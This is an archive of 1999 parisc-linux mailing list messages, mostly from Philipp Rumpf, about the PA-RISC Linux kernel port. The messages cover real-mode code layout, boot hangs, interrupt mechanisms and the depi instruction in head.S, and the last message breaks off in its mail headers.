Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:14:58 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id IAA32756;
	Mon, 15 Nov 1999 08:53:05 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6378

> - Philipp and I agree that we should just create arch/parisc/kernel/real
> for all the real mode stuff

Just to clarify, the directory we're talking about "arch/parisc/real" here,
not about a subdirectory of "arch/parisc/kernel".

> - creating arch/parisc/real/pdc.c

this one I'm not sure about.

arch/parisc/kernel/pdc.c and arch/parisc/real/pdc.c can be identical except
for the definition of "pdc_wrapper", and keeping an exact copy of code might
not be a good idea.

OTOH, it is extremely unlikely this code will have "real" bugs, so this is
probably less of a crime than using symlinks, #including C files, mutating
the main part of pdc.c into a header file or similar workarounds were.

> - moving some stuff in arch/parisc/kernel/realmode_setup.c to
> arch/parisc/real/setup.c or similiar.

All code in arch/parisc/real will be run in real-mode (with the exception of
some glue code to be called out of / return to protected mode).

All code run in real-mode will be in arch/parisc/real (with the temporary
exception of the _gsc_(read|write)[bwl] functions which currently disable data
translation for one or two instructions because I don't feel confident enough
to map the I/O space (which can do bad things if you write to it) into kernel
virtual memory (i.e. the memory wild pointers will refer to) just yet).

We are not just going to move "some stuff" to arch/parisc/real (and I do not
think this is what Alex said), we are going to move all real-mode code there.

	Philipp Rumpf


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp700.c and hp800.c ?
Date: Mon, 15 Nov 1999 08:33:10 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <19991115083310.C30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911141751050.6663-100000@vodka.thepuffingroup.com> <199911150401.UAA24070@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618626 27887 80.91.229.3 (22 Nov 2014 01:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:13:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14102
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:13:28 -0700
Original-Received: (qmail 19190 invoked by uid 15267); 15 Nov 1999 08:15:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19179 invoked from network); 15 Nov 1999 08:15:02 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:15:02 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:14:56 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id IAA32747;
	Mon, 15 Nov 1999 08:34:10 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911150401.UAA24070@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6379

> > Do we really need hp700.c and hp800.c in arch/parisc/kernel ?
> I sure hope not.

We don't, and there are more files in arch/parisc we don't need.  IMO,
these are:

most of /boot as we really should include nothing more than a minimal boot
  loader in the kernel sources

kernel/hp700.c
kernel/hp800.c
kernel/unaligned.c (unaligned data references are unpredictable behaviour
	iirc, so we shouldn't pretend to handle them correctly but have a
	nice clean debuggable Oops)
mm/pa11.c
mm/pa20.c (the differences between PA1.1 and PA2.0(narrow) are minimal,
	and the current files are as overgeneralized as it was necessary
	to overgeneralize to support all MIPS architectures)


	Philipp Rumpf


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 08:20:44 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <19991115082044.B30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911141954080.7120-100000@vodka.thepuffingroup.com> <382F5B60.D215DB58@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618626 27890 80.91.229.3 (22 Nov 2014 01:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:26 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>, paul_bame@hp.com,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:13:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14184
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:13:32 -0700
Original-Received: (qmail 19216 invoked by uid 15267); 15 Nov 1999 08:15:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19206 invoked from network); 15 Nov 1999 08:15:06 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:15:06 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:15:00 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id IAA32721;
	Mon, 15 Nov 1999 08:21:44 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <382F5B60.D215DB58@uswest.net>
Xref: news.gmane.org gmane.linux.ports.parisc:6380

> > How far does it actually boot though?

> Transferring control to kernel. (At entry point 0x00010000)
> kernel(0x00148C80, 0x00504010, 0x00148C80, 0x00016640)
> Clear BSS 0x0011B048 --> 0x0013D690
> Boot loader: PA/Linux, maybe PALO
> realmode_setup exiting
> 
> ... At this point it hangs.  Before, it always used to hang at:
> Transferring control to kernel. (At entry point 0x00010000)
> 
> I still do not believe it ever successfully finished the rfi in head.S :(
> I still need to do some more research to verify this, but that is my
> gut feeling right now.

This sounds right.  It is indeed possible we cannot install a BTLB entry on
your CPU (and the firmware just reports success as it is free to according to
the documentation) or the BTLB entry gets removed before we get the chance to
do our first printk.

For both problems, the answer is within reach, and is called "a separate direc-
tory for real-mode code".  Being able to debug unexpected TLB insertion handler
calls is one of the immediate advantages of having this directory, and sure is
going to be useful in the future (and would have been useful in the past).

Wanna bet we're going to get that machine to a sash prompt this week ?

	Philipp Rumpf


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Mon, 15 Nov 1999 09:03:12 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <19991115090312.E30917@mathe.stud.uni-erlangen.de>
References: <199911131834.NAA00219@hiauly1.hia.nrc.ca> <199911150357.TAA24057@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618627 27893 80.91.229.3 (22 Nov 2014 01:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:13:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14257
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:13:35 -0700
Original-Received: (qmail 19230 invoked by uid 15267); 15 Nov 1999 08:15:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19222 invoked from network); 15 Nov 1999 08:15:09 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:15:09 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:15:02 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id JAA32765;
	Mon, 15 Nov 1999 09:04:12 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911150357.TAA24057@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6381

> o Alex misunderstood - the HP-UX c720 driver *can* bypass all line
>   based interrupt support (ASP/LASI/Dino/...). It only does it for
>   a card which already uses transaction based interupts (TBIs)
>   (HSC F/W SCSI). TBIs are required to work on HSC bus to meet
>   PA I/O Arch and the c720 driver was coded with this safe assumption.
>   TBIs sadly do NOT work under PCI on all platforms.

In fact, to the best of my knowledge, software-visible TBIs are unique to
PA-RISC among all common architectures.  Am I wrong ?

> o and lastly, I too am skeptical (like Philipp) how useful this
>   optimization is. I can help measure it once the box is running.
>   I have my own set of optimizations I *think* we need. Philipp
>   agreed we would put them in once I had measurements showing
>   the improvement.

measurements showing the improvement to be significant enough to put what
otherwise has all the features of a nasty hack in the API.  What am I afraid
is going to happen is:

1. we find out there is an interesting, though not essential, performance win
2. we implement the necessary API
3. the API gets used in exactly one driver
4. the only two developers running machines making use of the driver disappear
   for a week
5. we break the driver
6. we have a long discussion, and fix the API
goto step 4.

So the possibility of just removing the interface support for using TBIs on
busses for which TBI is not the classical interrupt mechanism doesn't sound
all that bad compared to leaving it in, and if someone is really convinced
TBIs over PCI are worth implementing, I'd suggest to do some benchmarks as
soon as possible (i.e. _now_ for PA1.1 boxes).


	Philipp Rumpf


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] real mode stuff.
Date: Mon, 15 Nov 1999 08:09:13 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <19991115080913.A30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com> <Pine.LNX.4.10.9911150031280.2071-100000@grasshopper.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618627 27898 80.91.229.3 (22 Nov 2014 01:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:27 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: dkennedy@thepuffingroup.com
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:13:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14322
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:13:37 -0700
Original-Received: (qmail 19248 invoked by uid 15267); 15 Nov 1999 08:15:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19223 invoked from network); 15 Nov 1999 08:15:09 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:15:09 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:15:04 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id IAA32706;
	Mon, 15 Nov 1999 08:10:14 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <Pine.LNX.4.10.9911150031280.2071-100000@grasshopper.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6382

> How much real mode code is there?

> The i386 processor starts up in a real mode as well.  Linux enters protected
> mode in head.S very quickly.

On an i386, in fact, there is practically no reason to re-enter real mode after
you enabled address translation.

On PA-RISC, there is.

We have to get back into real mode to call firmware.

We get back into real mode when an interruption (HP's term for what the rest
of the world calls exception, fault, trap, interrupt or whatever) occurs, and
cannot re-enable address translation in all cases (the obvious ones being TLB
insert traps (we currently _do_ re-enable address translation, but we are rely-
ing on undefined behaviour in doing so), the less obvious one HPMC (as it is
not guaranteed we didn't get it because our MMU just died or the RAM containing
the page tables disappeared) and whichever interruptions show up in profiles
(we need floating-point completion to get IEEE-compliant behaviour in some
cases, and this might hit FP-intensive code)).

> If real mode on the PA-RISC is only used during initialization, then
> I don't think that it warrants a separate directory.  If real mode is
> used during normal operation, then I say sure.

For real-mode code executed during boot, there are well-defined locations
(arch/yourarch/boot, arch/yourarch/kernel/head.S), and we could just go on
stuffing real-mode code into files in arch/parisc/kernel, but

 a) we want to have some of this code written in C, which is difficult / un-
obvious with the real-mode files residing in the same directory as the rest
of the kernel.

 b) we might want to reuse some of the code for a more sophisticated boot
loader (which some people seem to have decided will be called PALO (boring
name, isn't it ?)).

 c) a lot of this code is very critical, will need to be changed for both SMP
systems and PA2.0 ones, and deserves the attention of old-time PA-RISC assembly
hackers much more than Linux-specific code in arch/parisc/kernel.

 d) some day, the parisc port won't be a new port stealing codes from the
established old ones, but some new port will steal code from us.  Most of the
code in arch/parisc/real is extremely unportable, so we can just tell whoever
is going to do that port to skip this directory.

I hope this clarifies things a bit.

	Philipp Rumpf


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 09:19:05 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <19991115091905.F30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618627 27900 80.91.229.3 (22 Nov 2014 01:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:16:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14452
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:16:19 -0700
Original-Received: (qmail 19844 invoked by uid 15267); 15 Nov 1999 08:17:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19834 invoked from network); 15 Nov 1999 08:17:52 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:17:52 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:17:47 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id JAA00379;
	Mon, 15 Nov 1999 09:20:06 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6383

>         ; Get ready for phys->virt transition
>         ; First order of business is to adjust some pointers
>         depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
>         depi            3,1,2, %sp      ; phys->virt SP
>         depi            3,1,2, %dp      ; p2v DP
> 
> in head.S?
> 
> I don't have a 'depi' in the index of my PA 2.0 assembler book.  I have a
> depwi and a depdi though.

This should be equivalent to what depwi is in PA 2.0 (some mnemonics changed).

More importantly, those instructions shouldn't be here.  There are standard
macros tophys and tovirt defined to do just the right thing to translate
logical addresses from/to physical ones.

Someone should go around and clean it up.  If your file uses depi to do what
tophys / tovirt should do, you have 24 hours to clean it up.  If you don't,
I'll clean up the rest of your file as well.  You have been warned.

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:39 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03088
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:38 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:38 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id NAA21587
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 13:12:54 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id NAA21446
	for <pcj@primenet.com>; Mon, 8 Mar 1999 13:52:39 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd021415; Mon Mar  8 13:52:31 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA10240;
	Mon, 8 Mar 1999 14:30:57 -0500
Resent-Date: Mon, 8 Mar 1999 14:30:57 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Mon, 8 Mar 1999 14:30:45 -0500 (EST)
From: Christopher Beard <cjbeard@istar.ca>
X-Sender: cjbeard@centauri.osfi-bsif.gc.ca
To: hppa-linux@thepuffingroup.com
Message-ID: <Pine.LNX.4.10.9903081417030.7297-100000@centauri.osfi-bsif.gc.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [hppa-linux] Project Update
Resent-Message-ID: <"HmtH8.0.wV2.mL2vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/145
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 2841769c5b723e34efec3b38b856dffd
Status: RO
Lines: 34
Xref: merlin.pcj.primenet.com palinux:117


Alex deVries and I have just returned to the Great White North from a very
successful and productive week at Linux World Expo in San Jose,
California. (I must say though, that the conference was vastly difference
from any other Linux conference, it was very much a suitfest as opposed to
the geekfests that have been the norm to date.)

We spent a fair bit of time at HP's booth talking to people about the
porting port, as well as a morning and an afternoon at the labs in
Cupertino.

We talked with a lot of very knowledgable people and have arranged for the
release of documentation and other resources.

As you may have heard:

  "HP will contribute marketing and technical resources to the
  effort. The Puffin Group will also have access to HP technology,
  tools and solutions offered through HP's new Open Source
  Solutions Operation."

Special thanks to Chris Maitz, Cary Coutant, John Sontag, Rich Rauenzahn,
Wayne Caccamo, and the many others that took the time to speak with us and
provide support for this project. 

Stay tuned for more information on documentation which will be released
shortly through the project web site.

Chris

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 09:25:49 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <19991115092549.G30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618628 27910 80.91.229.3 (22 Nov 2014 01:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:28 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:23:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14567
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:23:01 -0700
Original-Received: (qmail 20769 invoked by uid 15267); 15 Nov 1999 08:24:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20759 invoked from network); 15 Nov 1999 08:24:34 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:24:34 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 15 Nov 1999 09:24:31 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id JAA00412;
	Mon, 15 Nov 1999 09:26:49 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911150736.XAA14959@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6384

> >         ; First order of business is to adjust some pointers
> >         depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
> >         depi            3,1,2, %sp      ; phys->virt SP
> >         depi            3,1,2, %dp      ; p2v DP
> 
> DEPI is "Deposite Immediate".  depi 3,1,2, %arg0
> drops the value 3 into the upper 2 bits of register arg0.
> 
> IIRC, it's:  DEPI immediate_value, right_most_bit#, #bits, target_register
> 
> But...strange code.  It's setting the upper 2 bits of R26, R30, and R27.

The way physical memory is mapped to kernel virtual memory is (with exceptions):

physical address P is mapped at virtual address P + PAGE_OFFSET.

PAGE_OFFSET currently is 0xc000 0000 which was a bad value and will be changed
to either 0x8000 0000 or 0xe000 0000 in the near future.  This is one of the
reasons you should use tophys and tovirt instead of doing the depi by hand.

Probably most of the depis are my code and I think there are several places
where I am still hard-coding 0xc000 0000 as PAGE_OFFSET explicitly.  If you
find a place you think depends on a certain PAGE_OFFSET after I cleaned up
the code I can find, please tell us.

	Philipp Rumpf


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 14:28:51 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <19991115142851.Y25252@mencheca.ch.genedata.com>
References: <Pine.LNX.4.10.9911141954080.7120-100000@vodka.thepuffingroup.com> <382F5B60.D215DB58@uswest.net> <19991115082044.B30917@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618628 27914 80.91.229.3 (22 Nov 2014 01:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:28 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Nov 15 06:25:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA15486
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 06:25:20 -0700
Original-Received: (qmail 9034 invoked by uid 15267); 15 Nov 1999 13:26:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9027 invoked from network); 15 Nov 1999 13:26:49 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 13:26:49 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAFDQgQ28803;
	Mon, 15 Nov 1999 14:26:42 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAFDQfS13125;
	Mon, 15 Nov 1999 14:26:41 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id OAA1011900;
	Mon, 15 Nov 1999 14:26:40 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11nMBf-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Philipp.H.Rumpf@mathe.stud.uni-erlangen.de; Mon, 15 Nov 1999 14:28:51 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991115082044.B30917@mathe.stud.uni-erlangen.de>; from Philipp Rumpf on Mon, Nov 15, 1999 at 08:20:44AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6385

On Mon, Nov 15, 1999 at 08:20:44AM +0100, Philipp Rumpf wrote:
> Wanna bet we're going to get that machine to a sash prompt this week ?

Double-or-nothing on that beer I owe you at LinuxTag?  :-)

[I bet it would take at least 6 boots for him to get task switching
 working.  He did it in 2.]

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 07:15:19 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <38301576.C614F7FA@uswest.net>
References: <Pine.LNX.4.10.9911141954080.7120-100000@vodka.thepuffingroup.com> <382F5B60.D215DB58@uswest.net> <19991115082044.B30917@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618628 27918 80.91.229.3 (22 Nov 2014 01:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:28 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>, paul_bame@hp.com,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: rbradetich@uswest.net  Mon Nov 15 07:14:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA15807
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 07:14:15 -0700
Original-Received: (qmail 23333 invoked by uid 15267); 15 Nov 1999 14:15:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23322 invoked from network); 15 Nov 1999 14:15:48 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
